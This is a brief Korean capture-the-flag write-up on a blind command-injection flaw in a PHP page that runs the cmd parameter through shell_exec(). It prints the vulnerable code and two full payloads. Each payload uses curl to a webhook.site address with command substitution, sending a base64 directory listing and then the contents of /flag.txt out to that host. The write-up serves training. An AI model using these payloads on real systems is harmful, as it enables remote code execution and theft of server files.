문제 개요
- GET 파라미터
cmd
를shell_exec()
로 실행하지만 반환값을 출력하지 않습니다. - 결과가 화면에 보이지 않는 Blind RCE 상황입니다.
취약점 분석
if (isset($_GET['cmd'])) {
shell_exec($_GET['cmd']);
echo "커멘드 실행 완료!";
}
익스플로잇 절차
- 웹훅 준비
webhook.site
등에서 개인 URL을 발급받습니다. -
플래그 위치 ?cmd=curl+-s+https://webhook.site/
ls+/+-1+2>%261+|+base64+|+tr+-d+\\n
입력시bin boot dev etc flag.txt
파일 디렉토리가 뜸을 확인 할 수 있습니다.
-
플래그 유출
?cmd=curl+-s+https://webhook.site/<ID>`cat+/flag.txt+|+base64+|+tr+-d+\\n`
핵심 포인트
출력이 불가능한 환경에서는 파일 쓰기나 외부 네트워크 요청으로 데이터를 유출합니다.